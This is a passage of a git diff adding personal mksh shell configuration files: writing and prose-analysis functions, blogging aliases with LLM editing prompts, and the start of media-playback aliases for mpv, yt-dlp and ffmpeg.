rhyme -- find rhymes +rhyme() { + echo "Perfect:" + curl -s "https://api.datamuse.com/words?rel_rhy=$1&max=25" | python3 -c "import json,sys; [print(f' {w[\"word\"]}') for w in json.load(sys.stdin)]" + echo "Slant:" + curl -s "https://api.datamuse.com/words?rel_nry=$1&max=15" | python3 -c "import json,sys; [print(f' {w[\"word\"]}') for w in json.load(sys.stdin)]" +} + +# meanslike -- semantic similarity search +meanslike() { + typeset query + query=$(echo "$*" | tr ' ' '+') + curl -s "https://api.datamuse.com/words?ml=$query&max=20" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# soundslike -- phonetic similarity +soundslike() { + curl -s "https://api.datamuse.com/words?sl=$1&max=20" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# follows -- words that often follow X +follows() { + curl -s "https://api.datamuse.com/words?lc=$1&max=20" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# precedes -- words that often precede X +precedes() { + curl -s "https://api.datamuse.com/words?rc=$1&max=20" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# adjfor -- adjectives used to describe a noun +adjfor() { + curl -s "https://api.datamuse.com/words?rel_jjb=$1&max=25" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# nounsfor -- nouns described by an adjective +nounsfor() { + curl -s "https://api.datamuse.com/words?rel_jja=$1&max=25" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# homophones -- words that sound the same +homophones() { + curl -s "https://api.datamuse.com/words?rel_hom=$1" | python3 -c "import json,sys; [print(w['word']) for w in json.load(sys.stdin)]" +} + +# --- TRANSLATION --- + +# tpoly -- translate to multiple languages +tpoly() { + typeset word="$1"; shift + typeset lang + for lang in "$@"; do + printf "%-4s: %s\n" "$lang" "$(trans -b en:$lang "$word" 2>/dev/null)" + done +} + +# cognates -- compare a word across language families +cognates() { + typeset word="$1" + typeset family="$2" + typeset langs + case "$family" in + romance) langs="fr es it pt ro la" ;; + germanic) langs="de nl sv da no" ;; + slavic) langs="ru pl cs hr bg uk" ;; + *) langs="la fr de ru grc sa" ;; + esac + printf "%-6s %-30s\n" "LANG" "TRANSLATION" + typeset lang + for lang in $langs; do + printf "%-6s %s\n" "$lang" "$(trans -b en:$lang "$word" 2>/dev/null)" + done +} + +# ipa -- IPA transcription via espeak-ng +ipa() { + espeak-ng -q --ipa "$*" +} + +# --- PROSE ANALYSIS --- + +# wc-git -- word count diff between commits +wc-git() { + typeset prev="${1:-HEAD~1}" + typeset curr="${2:-HEAD}" + typeset added removed net + added=$(git diff "$prev" "$curr" --word-diff=porcelain | grep '^+[^+]' | sed 's/^+//' | wc -w) + removed=$(git diff "$prev" "$curr" --word-diff=porcelain | grep '^-[^-]' | sed 's/^-//' | wc -w) + net=$((added - removed)) + echo "Added: +$added words" + echo "Removed: -$removed words" + echo "Net: $net words" +} + +# readability -- readability scores for a file +readability() { + python3 -c " +import textstat, sys +text = open('$1').read() +print(f'Flesch Reading Ease: {textstat.flesch_reading_ease(text):.1f}') +print(f'Flesch-Kincaid Grade: {textstat.flesch_kincaid_grade(text):.1f}') +print(f'Gunning FOG: {textstat.gunning_fog(text):.1f}') +print(f'Consensus: {textstat.text_standard(text)}') +print(f'Words: {textstat.lexicon_count(text)}') +print(f'Sentences: {textstat.sentence_count(text)}') +" +} + +# wordfreq -- word frequency on the Zipf scale +wordfreq() { + python3 -c " +from wordfreq import zipf_frequency +print(f'{zipf_frequency(\"$1\", \"en\"):.2f} (1=rare, 3=uncommon, 5=common, 7=extremely common)') +" +} + +# ttr -- type-token ratio for a file +ttr() { + python3 -c " +import sys, re +from collections import Counter +text = open('$1').read().lower() +words = re.findall(r'[a-z]+', text) +types = len(set(words)) +tokens = len(words) +print(f'Types: {types} Tokens: {tokens} TTR: {types/tokens:.4f}') +" +} + +# --- PUBLISHING --- + +# compile -- assemble chapters into a manuscript +compile() { + typeset fmt="${1:-pdf}" + typeset chapters + chapters=$(ls chapters/*.md 2>/dev/null | sort -V) + if [[ -z $chapters ]]; then + echo "No chapters/*.md found" + return 1 + fi + mkdir -p build + case "$fmt" in + pdf) pandoc $chapters --pdf-engine=xelatex -V geometry:margin=1in -V fontsize:12pt -V linestretch:2 --toc -o build/manuscript.pdf ;; + docx) pandoc $chapters --reference-doc=reference.docx -o build/manuscript.docx ;; + epub) pandoc $chapters -t epub3 --toc -o build/manuscript.epub ;; + html) pandoc $chapters --standalone -o build/manuscript.html ;; + esac + echo "Built: build/manuscript.$fmt" +} + +# isbn -- ISBN metadata lookup +isbn() { + python3 -c " +from isbntools.app import meta +info = meta('$1') +for k, v in info.items(): + print(f'{k}: {v}') +" 2>/dev/null || echo "pip install isbntools" +} + +# --- STYLE ANALYSIS --- + +# cliches -- detect cliched phrases in a file +cliches() { + typeset file="${1:?Usage: cliches }" + python3 -c " +import re, sys +CLICHES = [ + 'at the end of the day', 'it goes without saying', 'in the final analysis', + 'all things considered', 'when all is said and done', 'at this point in time', + 'for all intents and purposes', 'few and far between', 'in the nick of time', + 'last but not least', 'needless to say', 'the fact of the matter', + 'par for the course', 'a level playing field', 'think outside the box', + 'low-hanging fruit', 'move the needle', 'at the crack of dawn', + 'dead as a doornail', 'fit as a fiddle', 'good as gold', 'old as the hills', + 'sick and tired', 'tried and true', 'calm before the storm', + 'tip of the iceberg', 'light at the end of the tunnel', 'in a nutshell', + 'easier said than done', 'better late than never', 'crystal clear', + 'the bottom line', 'reinvent the wheel', 'back to the drawing board', + 'bite the bullet', 'break the ice', 'hit the nail on the head', + 'under the weather', 'add insult to injury', 'beat around the bush', + 'between a rock and a hard place', 'bread and butter', 'cutting edge', + 'every cloud has a silver lining', 'go the extra mile', 'in the long run', + 'once in a blue moon', 'piece of cake', 'read between the lines', + 'the whole nine yards', 'time will tell', 'up in the air', + 'writing on the wall', 'you can say that again', +] +text = open('$file').read().lower() +found = 0 +for c in CLICHES: + hits = [(m.start(), m.end()) for m in re.finditer(re.escape(c), text)] + if hits: + for start, end in hits: + line = text[:start].count('\n') + 1 + print(f' line {line}: \"{c}\"') + found += 1 +if found == 0: + print('No cliches detected.') +else: + print(f'\n{found} cliche(s) found.') +" +} + +# filterwords -- find fiction filter words +filterwords() { + typeset file="${1:?Usage: filterwords }" + python3 -c " +import re, sys +FILTERS = [ + 'just', 'really', 'very', 'quite', 'rather', 'somewhat', 'suddenly', + 'immediately', 'finally', 'actually', 'basically', 'literally', 'simply', + 'definitely', 'certainly', 'absolutely', 'completely', 'totally', 'utterly', + 'entirely', 'practically', 'virtually', 'nearly', 'almost', 'somehow', + 'seemingly', 'apparently', 'perhaps', 'maybe', 'probably', 'possibly', + 'started to', 'began to', 'seemed to', 'appeared to', 'managed to', + 'was able to', 'could see', 'could hear', 'could feel', 'noticed that', + 'realized that', 'wondered if', 'thought about', 'decided to', +] +text = open('$file').read() +words_total = len(text.split()) +text_lower = text.lower() +print(f'Filter words in {words_total} total words:\n') +found = [] +for fw in FILTERS: + count = len(re.findall(r'\b' + re.escape(fw) + r'\b', text_lower)) + if count > 0: + found.append((count, fw)) +found.sort(reverse=True) +total = 0 +for count, fw in found: + pct = count / words_total * 100 + print(f' {fw:<20s} {count:>4d} ({pct:.2f}%)') + total += count +if found: + print(f'\nTotal filter words: {total} ({total/words_total*100:.2f}%)') +else: + print('No filter words found.') +" +} + +# adverbs -- adverb frequency analysis (-ly words) +adverbs() { + typeset file="${1:?Usage: adverbs }" + python3 -c " +import re +from collections import Counter +text = open('$file').read() +words = text.split() +total = len(words) +ly_words = [w.lower().strip('.,;:!?\"()[]') for w in words if re.match(r'.*ly[.,;:!?\"\)\]]*$', w.lower())] +exclude = {'only', 'early', 'family', 'holy', 'likely', 'lonely', 'lovely', 'ugly', + 'friendly', 'daily', 'monthly', 'weekly', 'yearly', 'ally', 'belly', + 'bully', 'fly', 'jelly', 'july', 'lily', 'rally', 'reply', 'supply', 'tally'} +ly_words = [w for w in ly_words if w not in exclude] +counts = Counter(ly_words) +print(f'Adverbs (-ly) in {total} total words:\n') +for word, count in counts.most_common(40): + pct = count / total * 100 + print(f' {word:<25s} {count:>3d} ({pct:.2f}%)') +print(f'\nTotal -ly adverbs: {len(ly_words)} ({len(ly_words)/total*100:.2f}%)') +" +} + +# saidbookisms -- find overused dialogue tags +saidbookisms() { + typeset file="${1:?Usage: saidbookisms }" + python3 -c " +import re +from collections import Counter +TAGS = [ + 'exclaimed', 'declared', 'proclaimed', 'announced', 'remarked', 'stated', + 'uttered', 'articulated', 'vocalized', 'opined', 'interjected', 'retorted', + 'quipped', 'snapped', 'barked', 'growled', 'hissed', 'snarled', 'sneered', + 'bellowed', 'thundered', 'boomed', 'roared', 'shrieked', 'screamed', + 'whimpered', 'sobbed', 'wailed', 'moaned', 'groaned', 'sighed', 'gasped', + 'breathed', 'purred', 'cooed', 'crooned', 'sang', 'chanted', 'intoned', + 'drawled', 'stammered', 'stuttered', 'mumbled', 'muttered', 'murmured', + 'whispered', 'pleaded', 'begged', 'demanded', 'commanded', 'ordered', + 'insisted', 'urged', 'cautioned', 'warned', 'admonished', 'chided', + 'scolded', 'lectured', 'preached', 'pontificated', 'mused', 'pondered', + 'reflected', 'observed', 'noted', 'acknowledged', 'conceded', 'admitted', + 'confessed', 'revealed', 'disclosed', 'divulged', 'volunteered', + 'suggested', 'proposed', 'offered', 'ventured', 'speculated', +] +text = open('$file').read().lower() +found = [] +for tag in TAGS: + count = len(re.findall(r'\b' + tag + r'\b', text)) + if count > 0: + found.append((count, tag)) +found.sort(reverse=True) +said_count = len(re.findall(r'\bsaid\b', text)) +asked_count = len(re.findall(r'\basked\b', text)) +print(f'Dialogue tags:') +print(f' {\"said\":<25s} {said_count:>3d} (standard)') +print(f' {\"asked\":<25s} {asked_count:>3d} (standard)') +if found: + print() + for count, tag in found: + print(f' {tag:<25s} {count:>3d} (bookism)') + total_bookisms = sum(c for c, _ in found) + print(f'\nTotal said-bookisms: {total_bookisms}') +else: + print('\nNo said-bookisms found.') +" +} + +# overused -- find repeated phrases (n-grams) in a file +overused() { + typeset file="${1:?Usage: overused [n]}" + typeset n="${2:-3}" + python3 -c " +import re +from collections import Counter +text = open('$file').read().lower() +words = re.findall(r'[a-z]+', text) +n = int('$n') +ngrams = [' '.join(words[i:i+n]) for i in range(len(words)-n+1)] +counts = Counter(ngrams) +print(f'{n}-grams appearing 3+ times:\n') +found = False +for phrase, count in counts.most_common(50): + if count < 3: + break + print(f' {count:>3d}x {phrase}') + found = True +if not found: + print('No repeated {}-grams found (3+ occurrences).'.format(n)) +" +} + +# ngrams -- general n-gram frequency analysis +ngrams() { + typeset file="${1:?Usage: ngrams [n] [top]}" + typeset n="${2:-2}" + typeset top="${3:-30}" + python3 -c " +import re +from collections import Counter +text = open('$file').read().lower() +words = re.findall(r'[a-z]+', text) +n = int('$n') +top = int('$top') +grams = [' '.join(words[i:i+n]) for i in range(len(words)-n+1)] +counts = Counter(grams) +print(f'Top {top} {n}-grams:\n') +for phrase, count in counts.most_common(top): + print(f' {count:>4d} {phrase}') +" +} + +# concordance -- KWIC concordance for a word in a file +concordance() { + typeset word="${1:?Usage: concordance [context-words]}" + typeset file="${2:?Usage: concordance [context-words]}" + typeset ctx="${3:-6}" + python3 -c " +import re +text = open('$file').read() +words = text.split() +target = '$word'.lower() +ctx = int('$ctx') +for i, w in enumerate(words): + if re.sub(r'[^a-z]', '', w.lower()) == target: + left = ' '.join(words[max(0,i-ctx):i]) + right = ' '.join(words[i+1:i+ctx+1]) + print(f'{left:>50s} [{w}] {right}') +" +} + +# collocations -- statistically significant word pairs +collocations() { + typeset file="${1:?Usage: collocations [top]}" + typeset top="${2:-25}" + python3 -c " +import re, math +from collections import Counter +text = open('$file').read().lower() +words = re.findall(r'[a-z]+', text) +N = len(words) +top = int('$top') +stop = {'the','a','an','and','or','but','in','on','at','to','for','of','with','by', + 'from','is','it','this','that','was','are','were','be','been','being','have', + 'has','had','do','does','did','will','would','shall','should','may','might', + 'can','could','i','he','she','we','they','you','my','his','her','our','their', + 'its','not','no','as','if','so','than'} +bigrams = [(words[i], words[i+1]) for i in range(N-1) + if words[i] not in stop and words[i+1] not in stop + and len(words[i]) > 2 and len(words[i+1]) > 2] +bg_counts = Counter(bigrams) +word_counts = Counter(words) +scored = [] +for (w1, w2), count in bg_counts.items(): + if count < 2: + continue + pmi = math.log2((count * N) / (word_counts[w1] * word_counts[w2])) + scored.append((pmi, count, f'{w1} {w2}')) +scored.sort(reverse=True) +print(f'Top {top} collocations (by PMI, min 2 occurrences):\n') +for pmi, count, phrase in scored[:top]: + print(f' {count:>3d}x {pmi:>6.2f} {phrase}') +" +} + +# hapax -- count words used exactly once (hapax legomena) +hapax() { + typeset file="${1:?Usage: hapax }" + python3 -c " +import re +from collections import Counter +text = open('$file').read().lower() +words = re.findall(r'[a-z]+', text) +counts = Counter(words) +hapax = [w for w, c in counts.items() if c == 1] +total = len(words) +types = len(counts) +print(f'Words: {total} Types: {types} Hapax legomena: {len(hapax)}') +print(f'Hapax ratio: {len(hapax)/types:.4f} (of types) {len(hapax)/total:.4f} (of tokens)') +print(f'\nSample hapax (first 30):') +for w in sorted(hapax)[:30]: + print(f' {w}') +" +} + +# vocab -- rich vocabulary analysis (TTR + Yule's K + hapax) +vocab() { + typeset file="${1:?Usage: vocab }" + python3 -c " +import re, math +from collections import Counter +text = open('$file').read().lower() +words = re.findall(r'[a-z]+', text) +N = len(words) +counts = Counter(words) +types = len(counts) +hapax = sum(1 for c in counts.values() if c == 1) +dis = sum(1 for c in counts.values() if c == 2) +ttr = types / N if N else 0 +freq_spectrum = Counter(counts.values()) +M = sum(i * i * vi for i, vi in freq_spectrum.items()) +K = 10000 * (M - N) / (N * N) if N > 1 else 0 +W = N ** (types ** -0.172) if types else 0 +R = 100 * math.log(N) / (1 - hapax/types) if types and hapax != types else 0 +print(f'Vocabulary richness for: $file') +print(f' Tokens (N): {N:>8d}') +print(f' Types (V): {types:>8d}') +print(f' Hapax legomena: {hapax:>8d}') +print(f' Dis legomena: {dis:>8d}') +print(f' TTR (V/N): {ttr:>8.4f}') +print(f' Yule K: {K:>8.2f} (lower = richer)') +print(f' Brunet W: {W:>8.2f} (lower = richer)') +print(f' Honore R: {R:>8.2f} (higher = richer)') +" +} + +# corpuscompare -- compare word frequencies against a reference corpus +corpuscompare() { + typeset file="${1:?Usage: corpuscompare [top]}" + typeset top="${2:-30}" + python3 -c " +import re +from collections import Counter +from wordfreq import zipf_frequency +text = open('$file').read().lower() +words = re.findall(r'[a-z]+', text) +counts = Counter(words) +total = len(words) +top = int('$top') +scored = [] +for word, count in counts.items(): + if count < 2 or len(word) < 3: + continue + doc_freq = count / total + corpus_freq = 10 ** (zipf_frequency(word, 'en') - 9) + if corpus_freq == 0: + corpus_freq = 1e-9 + ratio = doc_freq / corpus_freq + scored.append((ratio, count, word, zipf_frequency(word, 'en'))) +scored.sort(reverse=True) +print(f'Words overrepresented vs. general English (top {top}):\n') +print(f' {\"WORD\":<20s} {\"COUNT\":>5s} {\"RATIO\":>7s} {\"ZIPF\":>5s}') +for ratio, count, word, zipf in scored[:top]: + print(f' {word:<20s} {count:>5d} {ratio:>7.1f}x {zipf:.1f}') +print(f'\nRatio = your frequency / corpus frequency. High = distinctive vocabulary.') +" 2>/dev/null || echo "pip install wordfreq" +} + +# --- TYPOGRAPHY --- + +# smartquotes -- fix straight quotes to curly +smartquotes() { + typeset file="${1:?Usage: smartquotes }" + python3 -c " +import re, sys +text = open('$file').read() +text = re.sub(r'\"(\S)', r'\u201c\1', text) +text = re.sub(r'(\S)\"', r'\1\u201d', text) +text = re.sub(r'\"', r'\u201d', text) +text = re.sub(r\"(\s)'(\S)\", r'\\1\u2018\\2', text) +text = re.sub(r\"^'(\S)\", r'\u2018\\1', text) +text = re.sub(r\"'\", r'\u2019', text) +text = text.replace('---', '\u2014') +text = text.replace('--', '\u2013') +text = text.replace('...', '\u2026') +sys.stdout.write(text) +" +} + +# unicodenorm -- Unicode NFC normalization +unicodenorm() { + typeset file="${1:?Usage: unicodenorm }" + python3 -c " +import unicodedata, sys +text = open('$file').read() +normalized = unicodedata.normalize('NFC', text) +changes = sum(1 for a, b in zip(text, normalized) if a != b) +sys.stdout.write(normalized) +import sys as s +print(f'\n--- {changes} character(s) normalized', file=s.stderr) +" +} + +# --- WRITING SESSIONS --- + +# sprint -- timed writing sprint with before/after word count +sprint() { + typeset file="${1:?Usage: sprint [minutes]}" + typeset minutes="${2:-25}" + typeset start_wc + start_wc=$(wc -w < "$file" 2>/dev/null || echo 0) + echo "Sprint: $minutes minutes on $file" + echo "Starting word count: $start_wc" + echo "Timer starts NOW. Press Ctrl-C when done or wait for alarm." + sleep $((minutes * 60)) && echo -e "\a\a\aTIME'S UP!" & + typeset timer_pid=$! + trap "kill $timer_pid 2>/dev/null" INT + wait $timer_pid 2>/dev/null + typeset end_wc + end_wc=$(wc -w < "$file" 2>/dev/null || echo 0) + typeset diff=$((end_wc - start_wc)) + typeset wpm=$((diff / minutes)) + echo "" + echo "Ending word count: $end_wc" + echo "Words written: $diff" + echo "Words per minute: $wpm" +} + +# tts -- pipe a file through espeak for proofreading by ear +tts() { + typeset file="${1:?Usage: tts [speed]}" + typeset speed="${2:-160}" + espeak-ng -s "$speed" -f "$file" +} + +# tkcheck -- find TK/TODO/XXX/FIXME markers +tkcheck() { + typeset target="${1:-.}" + if [ -f "$target" ]; then + grep -n -i --color=always '\bTK\b\|TODO\|XXX\|FIXME\|\bTBD\b' "$target" || echo "No markers found." + else + grep -rn -i --color=always '\bTK\b\|TODO\|XXX\|FIXME\|\bTBD\b' "$target" --include='*.md' --include='*.txt' --include='*.mdx' || echo "No markers found." + fi +} + +# deadline -- words remaining to a deadline at a daily rate +deadline() { + typeset target="${1:?Usage: deadline }" + typeset current="${2:?Usage: deadline }" + typeset days="${3:?Usage: deadline }" + typeset remaining=$((target - current)) + typeset daily=$((remaining / days)) + echo "Target: $target words" + echo "Current: $current words" + echo "Remaining: $remaining words" + echo "Days left: $days" + echo "Daily rate: $daily words/day" + if [ "$days" -le 7 ]; then + echo "WARNING: tight deadline" + fi +} + +# scenestats -- chapter/scene word counts for fiction +scenestats() { + typeset dir="${1:-.}" + python3 -c " +import os, re, glob +directory = '$dir' +files = sorted(glob.glob(os.path.join(directory, '*.md')) + glob.glob(os.path.join(directory, '*.mdx')) + glob.glob(os.path.join(directory, '*.txt'))) +if not files: + print('No .md/.mdx/.txt files found.') + exit() +total = 0 +print(f'{\"FILE\":<40s} {\"WORDS\":>7s} {\"SCENES\":>7s}') +print('-' * 60) +for f in files: + text = open(f).read() + words = len(text.split()) + scenes = len(re.findall(r'^#{1,3}\s|^---\s*$|^\*\s*\*\s*\*', text, re.MULTILINE)) + scenes = max(scenes, 1) + name = os.path.basename(f) + print(f'{name:<40s} {words:>7d} {scenes:>7d}') + total += words +print('-' * 60) +print(f'{\"TOTAL\":<40s} {total:>7d}') +" +} + +# lintall -- run all prose linters in sequence +lintall() { + typeset file="${1:?Usage: lintall }" + echo "========== VALE ==========" + vale "$file" 2>/dev/null || echo "(vale not available)" + echo "" + echo "========== PROSELINT ==========" + proselint "$file" 2>/dev/null || echo "(proselint not available)" + echo "" + echo "========== WRITE-GOOD ==========" + write-good "$file" 2>/dev/null || echo "(write-good not available)" + echo "" + echo "========== ALEX ==========" + alex "$file" 2>/dev/null || echo "(alex not available)" + echo "" + echo "========== DICTION ==========" + diction "$file" 2>/dev/null || echo "(diction not available)" + echo "" + echo "========== LANGUAGETOOL ==========" + if command -v languagetool-commandline &>/dev/null; then + languagetool-commandline -l en-US "$file" 2>/dev/null + elif [ -f /usr/share/java/languagetool/languagetool-commandline.jar ]; then + java -jar /usr/share/java/languagetool/languagetool-commandline.jar -l en-US "$file" 2>/dev/null + else + echo "(languagetool not available)" + fi +} diff --git a/.config/.mksh/blog.sh b/.config/.mksh/blog.sh new file mode 100644 index 0000000000000000000000000000000000000000..d2c4dcd2d03bcbd1c5ab016e10ca5f772d61b4db --- /dev/null +++ b/.config/.mksh/blog.sh @@ -0,0 +1,194 @@ +# blog -- blogging aliases and functions + +# ============================================================================ +# BIN WRAPPERS +# ============================================================================ +alias bnew='blog-new' +alias bstats='blog-stats' +alias blinks='blog-links' +alias blinkrot='blog-linkrot' +alias bback='blog-backlinks' +alias bfront='blog-frontmatter' +alias bbuild='blog-build-check' +alias brss='blog-rss-check' +alias bfdates='blog-future-dates' +alias bshot='blog-screenshot' +alias btitle='blog-title' +alias barch='blog-archive-url' +alias bai='blog-ai-review' +alias bdrafts='blog-draft-index' + +# ============================================================================ +# CONTENT SEARCH +# ============================================================================ +alias bposts='find . \( -path "*/.git" -o -path "*/node_modules" -o -path "*/.next" -o -path "*/_site" -o -path "*/public" \) -prune -o \( -name "*.md" -o -name "*.mdx" -o -name "*.org" \) -print' +alias btodos='rg -n --glob "*.md" --glob "*.mdx" --glob "*.org" "TK|TODO|FIXME|XXX|REVIEW|SOURCE\\?"' +alias btypos='rg -n --glob "*.md" --glob "*.mdx" "\\b(teh|recieve|seperate|occured|wich|whcih|buitl|direcotry)\\b"' +alias bdates='rg -n --glob "*.md" --glob "*.mdx" "^(date|created|updated|modified|start_date):"' +alias btitles='rg -n --glob "*.md" --glob "*.mdx" "^(title:|# )"' +alias btags='rg -n --glob "*.md" --glob "*.mdx" "^(tags|topics|category|categories):"' +alias boutlinks='blog-links | sort -u' +alias boutdomains='blog-links | awk -F/ "/^https?:/{print \$3}" | sort | uniq -c | sort -nr' + +# ============================================================================ +# GIT INTEGRATION +# ============================================================================ +alias bchanged='git diff --name-only -- "*.md" "*.mdx" "*.org"' +alias bstaged='git diff --cached --name-only -- "*.md" "*.mdx" "*.org"' +alias bworddiff='git diff --word-diff=color -- "*.md" "*.mdx" "*.org"' + +# ============================================================================ +# UTILITIES +# ============================================================================ +alias bserve='python3 -m http.server 8000' +alias bfeed='find . -name "*.xml" -o -name "*.atom" -o -name "feed*" | sort' +alias bimages='find . \( -name "*.png" -o -name "*.jpg" -o -name "*.jpeg" -o -name "*.webp" -o -name "*.gif" -o -name "*.svg" \) -print' +alias bbig='find . -type f -size +5M -not -path "*/.git/*" -print' +alias bempty='find . -type f \( -name "*.md" -o -name "*.mdx" -o -name "*.org" \) -size 0 -print' +alias bdups='find . -type f \( -name "*.md" -o -name "*.mdx" \) -print0 | xargs -0 awk "{print FILENAME \":\" FNR \":\" \$0}" | rg -n "\\b([[:alpha:]]+)\\s+\\1\\b"' +alias bsentences='perl -0777 -ne "while(/[A-Z][^.!?]{180,}[.!?]/g){print \"$ARGV:$.: $&\\n\"}"' + +# ============================================================================ +# PANDOC +# ============================================================================ +alias bmd2html='pandoc --from=gfm --to=html5 --standalone' +alias bmd2docx='pandoc --from=gfm --to=docx' +alias bmd2epub='pandoc --from=gfm --to=epub3' + +# ============================================================================ +# URL EXTRACTION +# ============================================================================ +alias bhtmltitles='rg -n "|<h1"' +alias burls='rg -o "https?://[^\\]\\[()<>\"'"'"'[:space:]]+"' +alias burls-md='rg -o "\\[[^]]+\\]\\(https?://[^)]+\\)"' + +# ============================================================================ +# ARCHIVING +# ============================================================================ +alias barchivequeue='blog-links | sort -u > archive-queue.txt' +alias barchivefeed='while read -r url; do blog-archive-url "$url"; done < archive-queue.txt' + +# ============================================================================ +# LLM REVIEW +# ============================================================================ +alias bllm-summary='llm -s "Summarize this draft in 5 bullet points. Flag weak claims and missing sources."' +alias bllm-title='llm -s "Suggest 20 concise titles. Avoid clickbait. Return one per line."' +alias bllm-outline='llm -s "Turn this draft into a tight outline. Preserve the argument order."' +alias bllm-counter='llm -s "Act as a skeptical editor. List the strongest objections and missing evidence."' +alias bprompt='files-to-prompt . -e md -e mdx --ignore node_modules --ignore .git --ignore .next --markdown' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +blog_root() { + git rev-parse --show-toplevel 2>/dev/null || pwd +} + +blog_post_dirs() { + root=$(blog_root) + for d in content posts post blog notes garden essays articles src/content src/pages _posts pages; do + [ -d "$root/$d" ] && printf '%s\n' "$root/$d" + done +} + +blog_posts() { + if [ "$#" -gt 0 ]; then + printf '%s\n' "$@" + return + fi + dirs=$(blog_post_dirs) + if [ -n "$dirs" ]; then + printf '%s\n' "$dirs" | while IFS= read -r d; do + find "$d" -type f \( -name '*.md' -o -name '*.mdx' -o -name '*.org' \) + done + else + find . \( -path '*/.git' -o -path '*/node_modules' -o -path '*/.next' -o -path '*/_site' \) -prune -o -type f \( -name '*.md' -o -name '*.mdx' -o -name '*.org' \) -print + fi +} + +blog_slug() { + printf '%s' "$*" | + tr '[:upper:]' '[:lower:]' | + sed -e 's/[^a-z0-9]/-/g' -e 's/-\{2,\}/-/g' -e 's/^-//' -e 's/-$//' +} + +blog_words() { + blog_posts "$@" | while IFS= read -r f; do + [ -f "$f" ] || continue + words=$(sed -e '/^---$/,/^---$/d' "$f" | wc -w | tr -d ' ') + printf '%7s %s\n' "$words" "$f" + done | sort -nr +} + +blog_recent() { + blog_posts "$@" | xargs -r ls -lt | sed -n '1,40p' +} + +blog_find() { + if [ "$#" -eq 0 ]; then + printf 'usage: blog_find PATTERN\n' >&2 + return 2 + fi + blog_posts | xargs -r rg -n -- "$@" +} + +blog_titles() { + blog_posts "$@" | while IFS= read -r f; do + title=$(sed -n -e 's/^title:[[:space:]]*//p' -e 's/^# //p' "$f" | sed -n '1p') + [ -n "$title" ] || title="(untitled)" + printf '%s\t%s\n' "$title" "$f" + done +} + +blog_extract_links() { + blog-links "$@" +} + +blog_archive_queue() { + out="${1:-archive-queue.txt}" + shift 2>/dev/null || true + blog-links "$@" | sort -u > "$out" + printf '%s\n' "$out" +} + +blog_archive_all() { + queue="${1:-archive-queue.txt}" + [ -f "$queue" ] || blog_archive_queue "$queue" >/dev/null + while IFS= read -r url; do + [ -n "$url" ] && blog-archive-url "$url" + done < "$queue" +} + +blog_changed_posts() { + git diff --name-only -- '*.md' '*.mdx' '*.org' +} + +blog_staged_posts() { + git diff --cached --name-only -- '*.md' '*.mdx' '*.org' +} + +blog_review_changed() { + files=$(blog_changed_posts) + [ -n "$files" ] || return 0 + printf '%s\n' "$files" | while IFS= read -r f; do + blog-ai-review "$f" + done +} + +blog_reading_time() { + blog_posts "$@" | while IFS= read -r f; do + [ -f "$f" ] || continue + words=$(wc -w < "$f" | tr -d ' ') + mins=$(( (words + 224) / 225 )) + printf '%3s min %7s words %s\n' "$mins" "$words" "$f" + done | sort -n +} + +blog_tk_context() { + blog_posts "$@" | xargs -r rg -n -C 2 'TK|TODO|FIXME|XXX|SOURCE\?|CITE\?' +} + +blog_domain_counts() { + blog-links "$@" | awk -F/ '/^https?:/{print $3}' | sed 's/^www\.//' | sort | uniq -c | sort -nr +} diff --git a/.config/.mksh/cinefile.sh b/.config/.mksh/cinefile.sh new file mode 100644 index 0000000000000000000000000000000000000000..4da750cf55f30a7a37b2ca9b6162cd5e1e1740ce --- /dev/null +++ b/.config/.mksh/cinefile.sh @@ -0,0 +1,404 @@ +# cinefile -- cinephile workflow (mpv, ffmpeg, yt-dlp, media management) +# Sources: TheFrenchGhosty, fallwith, benjaminburkhardt, dfaust, Zabooby, clavelm + +# ============================================================================ +# aliases +# ============================================================================ + +# mpv playback +alias mpv480='mpv --ytdl-format="bestvideo[height<=480]+bestaudio/best[height<=480]"' +alias mpv720='mpv --ytdl-format="bestvideo[height<=720]+bestaudio/best[height<=720]"' +alias mpv1080='mpv --ytdl-format="bestvideo[ext=mp4][height<=1080]+bestaudio[ext=m4a]"' +alias mpv4k='mpv --ytdl-format="bestvideo[height<=2160]+bestaudio/best"' +alias cinema='mpv --profile=cinema' +alias film='mpv --profile=cinema --sub-font-size=42' +alias mpvshuffle='mpv --shuffle' +alias mpvloop='mpv --loop' +alias mpvnosub='mpv --no-sub' + +# mpv history / status +alias mpvhist='cat ~/.config/mpv/mpvHistory.log 2>/dev/null' +alias mpvsearch='grep -i' + +# yt-dlp film downloads +alias ytbest='yt-dlp -f "bestvideo+bestaudio" --merge-output-format mkv' +alias ytmovie='yt-dlp -f "bestvideo[height>=1080]+bestaudio" --merge-output-format mkv --embed-subs --embed-thumbnail --embed-metadata' +alias yt1080='yt-dlp -f "bestvideo[height<=1080][ext=mp4]+bestaudio[ext=m4a]/best[height<=1080]"' +alias yt720='yt-dlp -f "bestvideo[height<=720]+bestaudio/best[height<=720]"' +alias ytmp4='yt-dlp -f "bestvideo[ext=mp4]+bestaudio[ext=m4a]" --merge-output-format mp4' +alias ytav1='yt-dlp -f "bestvideo[vcodec^=av01]+bestaudio/best"' +alias ytvp9='yt-dlp -f "bestvideo[vcodec^=vp9]+bestaudio/best" --merge-output-format mkv' +alias ytsubs='yt-dlp --write-sub --write-auto-sub --sub-lang en --convert-subs srt' + +# ffmpeg quick conversions +alias remux='f() { ffmpeg -i "$1" -c copy "${1%.*}.mkv"; }; f' +alias mkv2mp4='f() { ffmpeg -i "$1" -c:v copy -c:a aac -c:s mov_text "${1%.*}.mp4"; }; f' +alias shrink='f() { ffmpeg -i "$1" -c:v libx265 -crf 28 -preset fast -c:a aac -b:a 128k "${1%.*}_small.mkv"; }; f' + +# mediainfo / ffprobe +alias mi='mediainfo' +alias vres='ffprobe -v error -select_streams v:0 -show_entries stream=width,height -of csv=s=x:p=0' +alias vcodec='ffprobe -v error -select_streams v:0 -show_entries stream=codec_name -of default=nw=1:nk=1' +alias vdur='ffprobe -v error -show_entries format=duration -of default=nw=1:nk=1' +alias vbitrate='ffprobe -v error -show_entries format=bit_rate -of default=nw=1:nk=1' + +# subtitles +alias 